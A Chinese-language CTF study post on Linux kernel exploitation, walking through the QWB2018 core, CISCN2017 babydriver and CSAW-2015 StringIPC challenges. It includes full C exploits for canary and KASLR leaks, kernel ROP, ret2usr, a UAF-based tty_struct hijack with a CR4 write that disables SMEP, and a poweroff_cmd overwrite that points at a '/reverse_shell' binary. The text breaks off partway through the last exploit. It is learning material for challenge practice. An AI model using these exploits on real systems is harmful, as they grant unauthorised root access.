最近捡起了之前没学完的linux kernel pwn,听起来挺吓人的,其实和用户态libcpwn类比学起来想要入门还是比较容易的,之后会转向windows pwn,学习一下c艹、fuzz,补一下基础的东西

环境搭建

环境搭建还是比较麻烦的,我是使用Ubuntu16搭建的,之前试过Ubuntu20,但是glibc、gcc太新,有一些函数没有了导致一些东西编译失败,因为距离我搭建环境已经过去很久了,这里就不再阐述,推荐几位大师傅的文章

https://veritas501.space/2018/06/03/kernel%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE

http://pzhxbz.cn/?p=98

https://xz.aliyun.com/t/2306

内核源码

可以在这个网站查看各个版本的内核源码

https://elixir.bootlin.com/linux/v4.4.72/source/include/linux/tty.h

内核保护机制

  • smep: Supervisor Mode Execution Protection,当处理器处于 ring 0 模式,执行用户空间的代码会触发页错误。(在 arm 中该保护称为 PXN)

  • smap: Superivisor Mode Access Protection,类似于 smep,当处理器处于 ring 0 模式,访问用户空间的数据会触发页错误。

  • MMAP_MIN_ADDR:控制着mmap能够映射的最低内存地址,防止用户非法分配并访问低地址数据。

  • KASLR:Kernel Address Space Layout Randomization(内核地址空间布局随机化),开启后,允许kernel image加载到VMALLOC区域的任何位置。

2018 强网杯 - core 之 ROP && ret2usr

做题准备

ctf中的linux kernel pwn一般会给这几个文件:

  • core.cpio:这是一个打包的文件,解包以后发现里面有文件系统

  • start.sh: 启动脚本,标明启动的方法、保护措施等

  • bzImage:镜像文件

  • vmlinux:内核的二进制文件,一般会打包进文件系统中,类似于libc pwn中的libc

  • *.ko:存在漏洞的LKM,一般会打包进文件系统中

如果没有提供vmlinux,使用以下命令获取

~/linux-4.20/scripts/extract-vmlinux ./bzImage > vmlinux

解包命令:

1
cpio -idm < ./core.cpio

打包命令:

1
find . | cpio -o --format=newc > ../core.cpio

首先我们新建一个目录并将文件系统解包进去,每次对文件系统有修改时都要重新打包。

文件系统中有一个叫init的文件(也有可能叫其他名字),该文件会在加载内核时对内核进行初始化

以该题为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

#poweroff -d 120 -f &
#setsid /bin/cttyhack setuidgid 1000 /bin/sh
setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

#poweroff -d 0 -f
  • setsid /bin/cttyhack setuidgid 0 /bin/sh 设自己为root,方便查看各种地址

  • cat /proc/kallsyms > /tmp/kallsyms 将kallsyms 的内容保存到了 /tmp/kallsyms 中,那么我们就能从 /tmp/kallsyms 中读取 commit_creds,prepare_kernel_cred 的函数的地址了

  • echo 1 > /proc/sys/kernel/kptr_restrict 将 kptr_restrict 设为 1,这样就不能通过 /proc/kallsyms 查看函数地址了,但我们可以通过/tmp/kallsyms读

  • echo 1 > /proc/sys/kernel/dmesg_restrict把 dmesg_restrict 设为 1,这样就不能通过 dmesg 查看 kernel 的信息了

  • 删掉poweroff相关指令,避免定时关机

开启保护

1
2
3
4
5
6
7
sivona@girlfriend:~/ctf-challenges/pwn/kernel/QWB2018-core/core$ checksec core.ko 
[*] '/home/sivona/ctf-challenges/pwn/kernel/QWB2018-core/core/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

可以看到驱动文件开启了canary

再来看一下qemu的启动参数

1
2
3
4
5
6
7
8
9
sivona@girlfriend:~/ctf-challenges/pwn/kernel/QWB2018-core$ cat start.sh 
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

可以看到开启了kaslr

-s代表会在:1234起一个gdbserver

漏洞挖掘

init_module() 注册了/proc/core,并且绑定了core_write() core_ioctl() core_release()

core_ioctl() 有个switch结构可以执行三个操作

core_copy_func() 将全局变量name的内容复制到栈上,但是复制多少字节由我们决定,虽然这里有对字节数的check,但是可以通过负数绕过从而实现栈溢出

core_read() 可以将内核栈中的数据复制给用户空间的地址,以此实现泄露canary、绕过kaslr等

core_write() 可以给全局变量name赋值,在此写入rop

漏洞利用之rop

总体思路

通过rop执行 commit_creds(prepare_kernel_cred(0)) 可以使进程权限提升为root,类似于libc pwm中的system(“/bin/sh”)

然后返回用户态起shell

为什么要返回用户态呢?

因为在用户态许多事情会变得简单,而在内核态会很麻烦。

泄露 vmlinux 基地址

通过leak栈上的数据

1
0xffffc900000dbe90 —▸ 0xffffffff8118ecfa (do_vfs_ioctl+138) ◂— cmp    eax, 0xfffffdfd
1
2
3
pwndbg> vmmap 0xffffffff8118ecfa
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0xffffffff81000000 0xffffffff81c0b000 r-xp c0b000 0 <qemu>

或者checksec在没开启kaslr的情况下

1
2
3
4
5
6
7
8
9
sivona@girlfriend:~/ctf-challenges/pwn/kernel/QWB2018-core/core$ checksec vmlinux 
[*] '/home/sivona/ctf-challenges/pwn/kernel/QWB2018-core/core/vmlinux'
Arch: amd64-64-little
Version: 4.15.8
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments

泄露 commit_creds()、prepare_kernel_cred()

使用以下命令获取 commit_creds()、prepare_kernel_cred() 函数地址,但注意考虑kaslr

1
2
cat /proc/kallsyms | grep commit_creds 
cat /proc/kallsyms | grep prepare_kernel_cred

返回用户态

通过 swapgs 切换GS寄存器的值为用户态的值

然后恢复进入内核态之前保存的寄存器的值,注意rip应恢复为system(“/bin/sh”),这里可以通过内联汇编在进入内核态之前保存相关寄存器的值。

寻找gadget

ubuntu16 不行!

ubuntu20 行!

ROPgadget 相对于ropper 前者速度比较快 输出的好像也比较多 但是有些指令没有 比如 iretq

将gadget保存起来备用

1
2
ROPgadget --binary ./vmlinux --all > gadgets1
python3 ../Ropper/Ropper.py --file ./vmlinux --nocolor > gadgets2

漏洞利用之ret2usr

ret2usr 攻击利用了 用户空间的进程不能访问内核空间,但内核空间能访问用户空间 这个特性来定向内核代码或数据流指向用户控件,以 ring 0 特权执行用户空间代码完成提权等操作。

利用思路也是用过rop控制程序执行流,不同的是直接ret到用户态的函数,那么我们就可以通过函数指针调用 commit_creds(prepare_kernel_cred(0)) ,就不需要再在内核中找gadget去调用

当然这种利用方式实在没有开启SMEP保护的情况下才可以实现。

下面一个题会介绍如何 bypass SMEP

使用gdb动态调试

之前说过在start.sh中的 -s 参数在 :1234 开启了一个gdbserver,如果端口被占也可以通过 -gdb tcp::1234 指定端口

待qemu启动后,在gdb中使用

1
target remote :1234

获取符号

1
2
3
4
5
6
7
/ $ cat sys/module/core/sections/.
.bss .orc_unwind
.data .orc_unwind_ip
.exit.text .rodata.str1.1
.gnu.linkonce.this_module .strtab
.init.text .symtab
.note.gnu.build-id .text

使用以上命令获取.text .bss .data段地址,然后在gdb中使用

1
add-symbol-file ./core.ko 0xffffffffc0000000 -s .bss 0xffffffffc0002400 -s .data 0xffffffffc0002000

rop-exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
//gcc exp.c -static -masm=intel -g -o exp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
size_t commit_creds = 0x9c8e0;
size_t prepare_kernel_cred = 0x9cce0;
size_t raw_vmlinux = 0xffffffff81000000;

// intel flavor assembly
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void core_read(int fd,char* buf){
ioctl(fd,0x6677889B,buf);
}

void set_off(int fd,int off){
ioctl(fd,0x6677889C,off);
}

void core_copy_func(int fd,size_t size){
ioctl(fd,0x6677889A,size);
}

int main(void){
save_status();
int fd = open("/proc/core",2);
if(fd == -1){
printf("fd: %d",fd);
return 1;
}

/*leak*/
size_t buf[0x100] = {0};
set_off(fd,0x40);
core_read(fd,buf);
for(int i=0;i<8;i++){
printf("buf[%d]: ",i);
printf("%p\n",buf[i]);
}
size_t canary = buf[0];
size_t vmlinux_base = buf[7] - 0x18ECFA;
size_t ko_base = buf[2] - 0x19B;
printf("canary:%p\n",canary);
printf("vmlinux_base:%p\n",vmlinux_base);
printf("ko_base:%p\n",ko_base);
/*leak end*/

size_t rop[0x100] = {0};
int i;
for(i=0;i<10;i++)
rop[i] = canary;
size_t offset = vmlinux_base - raw_vmlinux;
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi ; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred+vmlinux_base;
rop[i++] = 0xffffffff811e8932 + offset; //pop r8; ret;
rop[i++] = commit_creds+vmlinux_base;
rop[i++] = 0xffffffff812852d7 + offset; //mov rdi, rax; call r8; add rsp, 0x10; ret;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd,rop,sizeof(rop));
core_copy_func(fd,0xFFFFFFFFFFFF0100);
close(fd);
}

ret2usr-exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
size_t commit_creds = 0x9c8e0;
size_t prepare_kernel_cred = 0x9cce0;
size_t raw_vmlinux = 0xffffffff81000000;

// intel flavor assembly
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void core_read(int fd,char* buf){
ioctl(fd,0x6677889B,buf);
}

void set_off(int fd,int off){
ioctl(fd,0x6677889C,off);
}

void core_copy_func(int fd,size_t size){
ioctl(fd,0x6677889A,size);
}

void root(size_t vmlinux_base){
void* (*a)(int);
void* (*b)(size_t);
a = prepare_kernel_cred+vmlinux_base;
b = commit_creds+vmlinux_base;
(*b)((*a)(0));
}

int main(void){
save_status();
int fd = open("/proc/core",2);
if(fd == -1){
printf("fd: %d",fd);
return 1;
}

/*leak*/
size_t buf[0x100] = {0};
set_off(fd,0x40);
core_read(fd,buf);
for(int i=0;i<8;i++){
printf("buf[%d]: ",i);
printf("%p\n",buf[i]);
}
size_t canary = buf[0];
size_t vmlinux_base = buf[7] - 0x18ECFA;
size_t ko_base = buf[2] - 0x19B;
printf("canary:%p\n",canary);
printf("vmlinux_base:%p\n",vmlinux_base);
printf("ko_base:%p\n",ko_base);
/*leak end*/

size_t rop[0x100] = {0};
int i;
for(i=0;i<10;i++)
rop[i] = canary;
size_t offset = vmlinux_base - raw_vmlinux;
rop[i++] = (size_t)root; //调用用户态函数
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd,rop,sizeof(rop));
core_copy_func(fd,0xFFFFFFFFFFFF0100);
close(fd);
}

CISCN2017 - babydriver 之 UAF && bypass-smep

smep 和 CR4 寄存器

这题开启了smep保护,意味着我们不能在内核中执行用户空间的代码,但是我们可以关掉这个保护,从而使得rop变得简单

系统根据 CR4 寄存器的值判断是否开启 smep 保护,当 CR4 寄存器的第 20 位是 1 时,保护开启;是 0 时,保护关闭。

搜索一下从 vmlinux 中提取出的 gadget,很容易就能达到这个目的。

gdb 无法查看 cr4 寄存器的值,可以通过 kernel crash 时的信息查看。为了关闭 smep 保护,常用一个固定值 0x6f0,即 mov cr4, 0x6f0。

漏洞挖掘

程序注册了一个叫 /dev/babydev 的设备,并绑定了babyrelease、babyopen、babyioctl、babywrite、babyread这几个函数。

在babyopen()中会分配0x40的堆并将堆地址保存至babydev_struct.device_buf。

babyioctl()会释放babydev_struct.device_buf保存的堆空间,并重新分配一段用户自定义大小的堆并保存在其中。

babyrelease()会释放babydev_struct.device_buf保存的堆空间。

babyread()和babywrite()分别对这款堆空间进行读写。

这里存在一个伪条件竞争引发的 UAF 漏洞。

也就是说如果我们同时打开两个设备,第二次会覆盖第一次分配的空间,因为 babydev_struct 是全局的。同样,如果释放第一个,那么第二个其实是被是释放过的,这样就造成了一个 UAF。

漏洞利用之 修改 cred 结构体

总体思路

  • 打开两次设备,通过 babyioctl 更改其大小为 cred 结构体的大小

  • close其中一个,然后 fork 一个新进程,那么这个新进程的 cred 的空间就会和之前释放的空间重叠

  • 同时,我们可以通过另一个文件描述符对这块空间写,只需要将 uid,gid 改为 0,即可以实现提权到 root

cred结构体定于如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

确定cred结构体大小

在打ctf的时候如何确定各种结构体的大小一直困扰着我。。。就算是有源码。。。好在对于linux内核的内存管理机制是向上对齐的大小不必太准确。

haivk师傅介绍的一种查看cred结构体大小的方法:

先查看这个函数的地址

1
cat /proc/kallsyms | grep cred_init

然后通过IDA打开vmlinux 搜索地址,查看源码可以知道这里有cred结构的大小

1
2
3
4
5
6
7
8
9
/* 
* initialise the credentials stuff
*/
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}

漏洞利用之 修改 tty_struct 结构体

同样是利用uaf,这次是控制一个 tty_struct 结构,在 open(“/dev/ptmx”, O_RDWR) 时会分配这样一个结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;

/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;

struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;

struct tty_struct *link;
struct fasync_struct *fasync;
int alt_speed; /* For magic substitution of 38400 bps */
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
};

其中有一个叫 tty_operations 的结构体指针,看这名字就觉得里面有一些函数指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct inode *inode, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
const struct file_operations *proc_fops;
};

果然里面有对ptmx设备进行操作的对应函数指针,类似于libc pwn中的vtable

通过 UAF 伪造了这俩结构然后就可以控制程序流了

想要提权执行 commit_creds(prepare_kernel_cred(0)) 还是要写rop的,通过调试发现在对ptmx设备进行write操作时、也就是执行tty_operations中的第8个函数指针时,rax的值正好是tty_operations结构体的地址 也就是我们伪造的、可以控制的地址

先通过 mov rsp, rax 这个gadget把栈迁移到tty_operations上,然后再迁移到我们在用户空间写的rop上,修改rc4寄存器后ret2usr提权(这里不用ret2usr直接在内核中写rop应该也行

exp-bypass-smep

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
size_t commit_creds = 0xffffffff810a1420;
size_t prepare_kernel_cred = 0xffffffff810a1810;
size_t raw_vmlinux = 0xffffffff81000000;

// intel flavor assembly
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void root(){
void* (*a)(int);
void* (*b)(size_t);
a = prepare_kernel_cred;
b = commit_creds;
(*b)((*a)(0));
}

int main(void){
save_status();
int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);
if(fd1 < 0 || fd2 < 0){
printf("open error fd: %d",fd1);
return 1;
}

size_t rop[0x100] = {0};
int i = 0;
rop[i++] = 0xffffffff810d238d; // pop rdi ; ret
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)root;
rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)spawn_shell; // rip
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

ioctl(fd1,0x10001,0x2e0);
close(fd1);
int fd_tty = open("/dev/ptmx",O_RDWR|O_NOCTTY);
size_t fake_tty_struct[4] ={0};
size_t fake_tty_operations[30];
read(fd2,fake_tty_struct,sizeof(fake_tty_struct));
fake_tty_struct[3] = fake_tty_operations;
for(int i = 0;i<30;i++)
fake_tty_operations[i] = 0xFFFFFFFF8181BFC5;
fake_tty_operations[0] = 0xffffffff8100ce6e; // pop rax; ret ------------栈迁移到rop
fake_tty_operations[1] = (size_t)rop;
fake_tty_operations[2] = 0xFFFFFFFF8181BFC5;// mov
fake_tty_operations[7] = 0xFFFFFFFF8181BFC5;//mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e(ret)----------栈迁移到fake_tty_operations------这里有玄学,gdb中看到的不一样
write(fd2,fake_tty_struct,sizeof(fake_tty_struct));
char buf[8] = {0};
write(fd_tty,buf,8);
return 0;
}

Double Fetch

未完待续。。。

hijack prctl

CSAW-2015-StringIPC

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/prctl.h>
#include<sys/ioctl.h>
#include<sys/mman.h>
#include<sys/time.h>

void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

char venge[] = "VengeBySivona";

#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8


struct alloc_channel_args {
size_t buf_size;
int id;
};

struct open_channel_args {
int id;
};

struct grow_channel_args {
int id;
size_t size;
};

struct shrink_channel_args {
int id;
size_t size;
};

struct read_channel_args {
int id;
char *buf;
size_t count;
};

struct write_channel_args {
int id;
char *buf;
size_t count;
};

struct seek_channel_args {
int id;
loff_t index;
int whence;
};

struct close_channel_args {
int id;
};

size_t find_offset_gettimeofday(){
size_t *buf = (((size_t)venge)&(~0xff)) + 0x18;
int len = 0;
while(buf[len]){
len++;
}
size_t bigget = 0;
for(int i = 0;i<len;i++){
if(bigget < buf[i])
bigget = buf[i];
}
return bigget&0xfff;
}

int main(){

size_t kernel_base = 0xFFFFFFFF81000000;
size_t offset_gettimeofday_page = 0xFFFFFFFF81E04000 - kernel_base;
/*
because:
char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";
static const char reboot_cmd[] = "/sbin/reboot";
so, we choose __orderly_poweroff function.
And it called by poweroff_work_func.

/ $ cat /proc/kallsyms | grep poweroff_work_func
ffffffff8109ce60 t poweroff_work_func

with gdb remote we can get poweroff_cmd:
pwndbg> x/s 0xffffffff81e4dfa0
0xffffffff81e4dfa0: "/sbin/poweroff"

/ $ cat /proc/kallsyms | grep task_prctl
ffffffff8132d330 T security_task_prctl

with gdb we can also get &(hp->hook.task_prctl) == 0xffffffff81eb8118
*/
size_t poweroff_func = 0xffffffff8109ce60 - kernel_base;
size_t poweroff_cmd = 0xffffffff81e4dfa0 - kernel_base;
size_t hook = 0xffffffff81eb8118 - kernel_base;
int fd = open("/dev/csaw",0);
if(fd < 0){
puts("open dev erro.");
exit(1);
}
puts("[+] open /dev/csaw.");

struct alloc_channel_args alloc_channel;
alloc_channel.buf_size = 0x10;
ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_channel);

struct shrink_channel_args shrink_channel;
shrink_channel.id = alloc_channel.id;
shrink_channel.size = 0x11;
ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_channel);

size_t *buf = mmap((void*)0x10000, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);;
char *find = 0;
size_t idx = 0xffffffff80000000;
size_t header = 0x00010102464c457f;
while(idx<=0xffffffffffffafff){
struct seek_channel_args seek_channel;
seek_channel.id = alloc_channel.id;
seek_channel.index = idx-0x10;
seek_channel.whence = SEEK_SET;
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_channel);

struct read_channel_args read_channel;
read_channel.id = alloc_channel.id;
read_channel.count = 0x1000;
read_channel.buf = buf;
ioctl(fd,CSAW_READ_CHANNEL,&read_channel);
//printf("%p\n",idx);
if(memmem(buf,0x1000,"ELF",3)){
find = memmem(buf,0x1000,"__vdso_gettimeofday",strlen("__vdso_gettimeofday"));
if(find){
printf("[+]gettimeofday:%p\n",idx);
int index = 0;
while((*find) || (*(find-1))){
//printf("[%d]%s\n",index,find);
--find;
if(*find == '\0')
++index;
}
printf("[+]index:%d\n",index);
index = index*11;
break;
}
}
idx += 0x1000;
}

kernel_base = idx - offset_gettimeofday_page;
printf("[+]kernel_base:%p\n",kernel_base);

struct seek_channel_args seek_channel;
seek_channel.id = alloc_channel.id;
seek_channel.index = poweroff_cmd + kernel_base - 0x10;
seek_channel.whence = SEEK_SET;
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_channel);

char binary[] = "/reverse_shell";
struct write_channel_args write_channel;
write_channel.id = alloc_channel.id;
write_channel.buf = binary;
write_channel.count = strlen(binary)+1;
ioctl(fd,CSAW_WRITE_CHANNEL,&write_channel);
